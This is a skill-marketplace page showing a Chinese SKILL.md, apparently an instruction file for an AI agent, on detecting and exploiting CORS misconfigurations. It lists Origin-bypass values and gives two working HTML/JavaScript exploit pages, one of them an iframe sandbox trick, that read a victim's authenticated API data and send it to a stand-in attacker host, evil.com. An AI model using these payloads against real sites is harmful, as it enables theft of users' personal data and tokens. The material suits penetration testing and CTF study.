Skip to main content

cors-misconfiguration

CORS 跨域配置错误检测与利用。当目标 API 返回 Access-Control-Allow-Origin 响应头、需要跨域访问敏感数据、或发现 Origin 头被反射回响应中时使用。可导致用户敏感数据窃取

소스 정보

저장소
wgpsec/AboutSecurity
최근 소스 활동
2026년 4월 23일 03:16
감지된 SKILL.md 언어
중국어
스타
1,846
포크
258

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

파일 탐색기
3 개 파일

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
cors-misconfiguration
description
CORS 跨域配置错误检测与利用。当目标 API 返回 Access-Control-Allow-Origin 响应头、需要跨域访问敏感数据、或发现 Origin 头被反射回响应中时使用。可导致用户敏感数据窃取
metadata
{"tags":"cors,cross-origin,跨域,access-control,origin,credentials,preflight","category":"exploit"}
# CORS 配置错误方法论 CORS(Cross-Origin Resource Sharing)错误配置允许恶意网站跨域读取目标站点的敏感数据。关键在于 `Access-Control-Allow-Origin` 和 `Access-Control-Allow-Credentials` 两个响应头。 ## Phase 1: 检测 CORS 配置 ### 1.1 发送带 Origin 的请求 ``` http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"} ``` 检查响应头: - `Access-Control-Allow-Origin: https://evil.com` → 反射任意 Origin(**危险**) - `Access-Control-Allow-Origin: *` → 通配符(通常无法携带 Cookie) - `Access-Control-Allow-Credentials: true` → 允许携带 Cookie(**和反射 Origin 组合 = 严重漏洞**) - 无 ACAO 头 → CORS 正确拒绝 ### 1.2 测试 Origin 校验绕过 ``` # 空 Origin Origin: null # 子域名 Origin: https://evil.target.com Origin: https://target.com.evil.com # 前缀/后缀匹配 Origin: https://attackertarget.com Origin: https://target.com.attacker.com # 特殊协议 Origin: http://target.com (HTTPS 站点接受 HTTP Origin) ``` ### 1.3 危险组合判断 | Allow-Origin | Allow-Credentials | 风险等级 | |-------------|-------------------|----------| | 反射任意 Origin | true | **严重** — 可跨域窃取用户数据 | | `null` | true | **高** — iframe sandbox 可设置 null origin | | `*` | false | **低** — 不能携带 Cookie,通常只暴露公开数据 | | 固定白名单 | true | 安全(除非白名单中有你控制的域名)| ## Phase 2: 利用 CORS 错误配置 ### 2.1 反射 Origin + Credentials(最常见) 目标返回: ``` Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true ``` 构造窃取页面: ```html <script> fetch('http://target/api/userinfo', {credentials: 'include'}) .then(r => r.json()) .then(data => { // 发送到攻击者服务器 fetch('http://evil.com/log?data=' + JSON.stringify(data)); }); </script> ``` ### 2.2 null Origin 利用 如果 `Access-Control-Allow-Origin: null`,用 iframe sandbox 触发: ```html <iframe sandbox="allow-scripts allow-forms" srcdoc=" <script> fetch('http://target/api/userinfo', {credentials: 'include'}) .then(r => r.text()) .then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d))); </script> "></iframe> ``` ## Phase 3: 数据获取 CORS 利用成功后,可以读取的敏感数据: - 用户个人信息(`/api/profile`, `/api/userinfo`) - API 密钥和 Token - 内部 API 数据 - 管理员面板数据 **CTF 中**:Flag 通常在需要管理员 Cookie 才能访问的 API 中。 ## 注意事项 - CORS 漏洞需要受害者访问攻击者页面才能触发(类似 CSRF/XSS) - 纯 `Access-Control-Allow-Origin: *` 不允许 `credentials: include`,风险较低 - 检查 preflight(OPTIONS)请求的处理——有些框架只在 GET 上设置 CORS,不在 OPTIONS 上
GitHub에서 보기